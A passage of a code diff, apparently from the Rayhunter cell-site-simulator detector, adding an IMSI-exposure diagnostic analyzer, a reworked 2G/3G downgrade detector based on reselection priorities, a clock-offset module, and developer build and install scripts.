| ServiceRejectEMMCause::TrackingAreaNotAllowed
| ServiceRejectEMMCause::EPSServicesNotAllowedInThisPLMN
| ServiceRejectEMMCause::RequestedServiceOptionNotAuthorizedInThisPLMN
)
}
_ => false,
},
_ => false,
}
}
}
impl Analyzer for DiagnosticAnalyzer {
fn get_name(&self) -> Cow<'_, str> {
"Diagnostic detector for messages which might lead to IMSI exposure".into()
}
fn get_description(&self) -> Cow<'_, str> {
"Catches any messages that may lead to IMSI Exposure. Can be quite noisy. \
Useful as a diagnostic for finding out why an IMSI was sent or what \
the reason for a reject message was. Not a useful indicator on its own \
but a helpful diagnostic for understanding why another indicator was \
triggered. Based on the list of IMSI exposing messages identified in \
the 'Marlin' paper."
.into()
}
fn get_version(&self) -> u32 {
1
}
fn analyze_information_element(
&mut self,
ie: &InformationElement,
_packet_num: usize,
) -> Option<Event> {
let lte_ie = match ie {
InformationElement::LTE(inner) => inner,
_ => return None,
};
match lte_ie.as_ref() {
LteInformationElement::NAS(nas_msg) => {
if self.is_imsi_exposing_nas(nas_msg) {
let message_type = match nas_msg {
NASMessage::EMMMessage(emm_msg) => match emm_msg {
EMMMessage::EMMIdentityRequest(request) => {
format!("EMM Identity Request ({:?})", request.id_type.inner)
}
EMMMessage::EMMTrackingAreaUpdateReject(reject) => {
format!(
"EMM Tracking Area Update Reject ({:?})",
reject.emm_cause.inner
)
}
EMMMessage::EMMAttachReject(reject) => {
format!("EMM Attach Reject ({:?})", reject.emm_cause.inner)
}
EMMMessage::EMMDetachRequestMT(request) => {
format!(
"EMM Detach Request ({:?}:{:?})",
request.eps_detach_type.inner, request.emm_cause.inner
)
}
EMMMessage::EMMServiceReject(reject) => {
format!("EMM Service Reject ({:?})", reject.emm_cause.inner)
}
EMMMessage::EMMAttachRequest(request) => {
format!("EPS Attach Request ({:?})", request.epsid.inner)
}
_ => "Unknown EMM Message".to_string(),
},
_ => "Unknown NAS Message".to_string(),
};
Some(Event {
event_type: EventType::Informational,
message: format!("Diagnostic: {message_type}."),
})
} else {
None
}
}
_ => None,
}
}
}

View File

@@ -78,12 +78,7 @@ impl ImsiRequestedAnalyzer {
});
}
// Notify on any identity reqeust (IMEI or IMSI)
(_, State::IdentityRequest) => {
self.flag = Some(Event {
event_type: EventType::Informational,
message: "Identity Request happened but its not suspicious yet.".to_string(),
});
self.timeout_counter = 0;
}

View File

@@ -1,5 +1,6 @@
pub mod analyzer;
pub mod connection_redirect_downgrade;
pub mod diagnostic;
pub mod imsi_requested;
pub mod incomplete_sib;
pub mod information_element;

View File

@@ -2,6 +2,7 @@ use std::borrow::Cow;
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
use log::debug;
use telcom_parser::lte_rrc::{
BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1, CellReselectionPriority,
SystemInformation_r8_IEsSib_TypeAndInfo, SystemInformation_r8_IEsSib_TypeAndInfo_Entry,
@@ -9,9 +10,24 @@ use telcom_parser::lte_rrc::{
};
/// Based on heuristic T7 from Shinjo Park's "Why We Cannot Win".
pub struct LteSib6And7DowngradeAnalyzer {}
pub struct LteSib6And7DowngradeAnalyzer {
lte_priority: Option<u8>,
legacy_priority: Option<u8>,
}
impl Default for LteSib6And7DowngradeAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl LteSib6And7DowngradeAnalyzer {
pub fn new() -> Self {
Self {
lte_priority: None,
legacy_priority: None,
}
}
fn unpack_system_information<'a>(
&self,
ie: &'a InformationElement,
@@ -43,7 +59,7 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
}
fn get_version(&self) -> u32 {
1
2
}
fn analyze_information_element(
@@ -51,22 +67,78 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
ie: &InformationElement,
_packet_num: usize,
) -> Option<super::analyzer::Event> {
if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
&& let BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(_) = c1
{
debug!("encountered sib1 at {_packet_num}");
let flag = if self.legacy_priority > self.lte_priority {
if self.lte_priority.is_none() {
Some(Event {
event_type: EventType::Informational,
message:
"LTE cell advertised a legacy (3G/2G) neighbors but no LTE neighbors"
.to_string(),
})
} else {
Some(Event {
event_type: EventType::High,
message:
format!("LTE cell advertised a legacy (3G/2G) cell for priority {:?} reselection over LTE neighbors at priority {:?}", self.legacy_priority?, self.lte_priority)
.to_string(),
})
}
} else {
None
};
debug!(
"flag is {flag:?} because lte priority is {:?} and legacy priority is {:?} ",
self.lte_priority, self.legacy_priority
);
self.lte_priority = None;
self.legacy_priority = None;
debug!("reset priority to 0 due to new sib1 at {_packet_num}");
return flag;
}
let sibs = &self.unpack_system_information(ie)?.0;
for sib in sibs {
match sib {
SystemInformation_r8_IEsSib_TypeAndInfo_Entry::Sib3(sib3) => {
let res_p: u8 = sib3
.cell_reselection_serving_freq_info
.cell_reselection_priority
.0;
if Some(res_p) > self.lte_priority {
self.lte_priority = Some(res_p);
debug!("set priority {} due to sib3 (frame {})", res_p, _packet_num);
}
}
SystemInformation_r8_IEsSib_TypeAndInfo_Entry::Sib5(sib5) => {
let carrier_freq_list = &sib5.inter_freq_carrier_freq_list;
for carrier_freq in &carrier_freq_list.0 {
if let Some(res_p) = &carrier_freq.cell_reselection_priority {
let pri: u8 = res_p.0;
if Some(pri) > self.lte_priority {
self.lte_priority = Some(pri);
debug!("set priority {} due to sib5 (frame {})", pri, _packet_num);
}
}
}
}
SystemInformation_r8_IEsSib_TypeAndInfo_Entry::Sib6(sib6) => {
if let Some(carrier_info_list) = sib6.carrier_freq_list_utra_fdd.as_ref() {
for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) =
carrier_info.cell_reselection_priority
&& p == 0
&& Some(p) > self.legacy_priority
{
return Some(Event {
event_type: EventType::High,
message:
"LTE cell advertised a 3G cell for priority 0 reselection"
.to_string(),
});
self.legacy_priority = Some(p);
debug!(
"set legacy priority {} due to sib6 (frame {})",
p, _packet_num
);
}
}
}
@@ -74,14 +146,13 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) =
carrier_info.cell_reselection_priority
&& p == 0
&& Some(p) > self.legacy_priority
{
return Some(Event {
event_type: EventType::High,
message:
"LTE cell advertised a 3G cell for priority 0 reselection"
.to_string(),
});
self.legacy_priority = Some(p);
debug!(
"set legacy priority {} due to sib6 (frame {})",
p, _packet_num
);
}
}
}
@@ -95,13 +166,13 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) =
carrier_info.common_info.cell_reselection_priority
&& p == 0
&& Some(p) > self.legacy_priority
{
return Some(Event {
event_type: EventType::High,
message: "LTE cell advertised a 2G cell for priority 0 reselection"
.to_string(),
});
self.legacy_priority = p.into();
debug!(
"set legacy priority {} due to sib7 (frame {})",
p, _packet_num
);
}
}
}

View File

@@ -39,6 +39,12 @@ impl Analyzer for TestAnalyzer {
.0
.as_bitslice()
.load_be::<u32>();
let tac = sib1
.cell_access_related_info
.tracking_area_code
.0
.as_bitslice()
.load_be::<u32>();
let plmn = &sib1.cell_access_related_info.plmn_identity_list.0;
let mcc_string: String;
@@ -62,8 +68,8 @@ impl Analyzer for TestAnalyzer {
return Some(Event {
event_type: EventType::Low,
message: format!(
"SIB1 received CID: {}, PLMN: {}-{}",
cid, mcc_string, mnc_string
"SIB1 received CID: {}, TAC: {}, PLMN: {}-{}",
cid, tac, mcc_string, mnc_string
),
});
}

25
lib/src/clock.rs Normal file
View File

@@ -0,0 +1,25 @@
//! Global clock offset for adjusting timestamps.
//!
//! This module provides a global clock offset that can be used to adjust
//! timestamps when the device's system clock is incorrect. The offset is
//! stored in memory and is not persisted across restarts.
use chrono::{DateTime, Local, TimeDelta};
use std::sync::RwLock;
static CLOCK_OFFSET: RwLock<TimeDelta> = RwLock::new(TimeDelta::zero());
/// Get the current clock offset.
fn get_offset() -> TimeDelta {
*CLOCK_OFFSET.read().unwrap()
}
/// Set the clock offset.
pub fn set_offset(offset: TimeDelta) {
*CLOCK_OFFSET.write().unwrap() = offset;
}
/// Get the current adjusted time (system time + offset).
pub fn get_adjusted_now() -> DateTime<Local> {
Local::now() + get_offset()
}

View File

@@ -1,6 +1,18 @@
use serde::{Deserialize, Serialize};
/// Initialize logging with the given default level, suppressing noisy warnings
/// from hampi about undecoded ASN1 extensions. Respects `RUST_LOG` overrides.
pub fn init_logging(default_level: log::LevelFilter) {
env_logger::Builder::new()
.filter_level(default_level)
//Filter out a stupid massive amount of uneccessary warnings from hampi about undecoded extensions
.filter_module("asn1_codecs", log::LevelFilter::Error)
.parse_default_env()
.init();
}
pub mod analysis;
pub mod clock;
pub mod diag;
pub mod gsmtap;
pub mod gsmtap_parser;
@@ -17,8 +29,10 @@ pub mod diag_device;
// re-export telcom_parser, since we use its types in our API
pub use telcom_parser;
/// A list of the internal names of currently implemented devices
#[derive(PartialEq, Debug, Clone, Deserialize, Serialize)]
#[serde(rename_all = "lowercase")]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub enum Device {
Orbic,
Tplink,

View File

@@ -5,6 +5,7 @@ use nix::sys::utsname::uname;
/// Expose binary and system information.
#[derive(Serialize, Deserialize, Debug)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct RuntimeMetadata {
/// The cargo package version from this library's cargo.toml, e.g., "1.2.3".
pub rayhunter_version: String,

View File

@@ -1,6 +1,6 @@
[package]
name = "rootshell"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

86
scripts/build-dev.sh Executable file
View File

@@ -0,0 +1,86 @@
#!/bin/bash
# Build Rayhunter from source for development.
# Prerequisites: Rust (rustup) and Node.js (npm).
#
# Usage: ./scripts/build-dev.sh [build|frontend|check]
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_DIR="$(dirname "$SCRIPT_DIR")"
cd "$PROJECT_DIR"
check_dependencies() {
local missing=0
if ! command -v cargo &> /dev/null; then
echo "Error: cargo not found. Install Rust via https://www.rust-lang.org/tools/install"
missing=1
fi
if ! command -v npm &> /dev/null; then
echo "Error: npm not found. Install Node.js via https://docs.npmjs.com/downloading-and-installing-node-js-and-npm"
missing=1
fi
if [ "$missing" -eq 1 ]; then
exit 1
fi
# Ensure the ARM cross-compilation target is installed
if ! rustup target list --installed | grep -q "armv7-unknown-linux-musleabihf"; then
echo "Installing ARM target (armv7-unknown-linux-musleabihf)..."
rustup target add armv7-unknown-linux-musleabihf
fi
}
build_frontend() {
echo "Building web frontend..."
pushd daemon/web > /dev/null
npm install
npm run build
popd > /dev/null
}
build_daemon() {
echo "Building daemon..."
cargo build-daemon-firmware-devel
echo "Building rootshell..."
cargo build-rootshell-firmware-devel
}
COMMAND="${1:-build}"
case "$COMMAND" in
build)
check_dependencies
build_frontend
build_daemon
echo ""
echo "Build complete! To install to a device, run:"
echo " ./scripts/install-dev.sh <device>"
echo ""
echo "Replace <device> with your device type (e.g. orbic, tplink)."
;;
frontend)
build_frontend
;;
check)
check_dependencies
;;
help|--help|-h)
echo "Usage: $0 [command]"
echo ""
echo "Commands:"
echo " build Build frontend, daemon, and rootshell (default)"
echo " frontend Build only the web frontend"
echo " check Check dependencies only"
;;
*)
echo "Unknown command: $COMMAND"
echo "Run '$0 help' for usage."
exit 1
;;
esac

14
scripts/install-dev.sh Executable file
View File

@@ -0,0 +1,14 @@
#!/bin/bash
# Install a development build of Rayhunter to a device.
# Run ./scripts/build-dev.sh first.
#
# Usage: ./scripts/install-dev.sh <device> [options...]
# Example: ./scripts/install-dev.sh orbic --admin-password mypass
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_DIR="$(dirname "$SCRIPT_DIR")"
cd "$PROJECT_DIR"
cargo run -p installer --bin installer -- "$@"

View File

@@ -1,6 +1,6 @@
[package]
name = "telcom-parser"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

Some files were not shown because too many files have changed in this diff Show More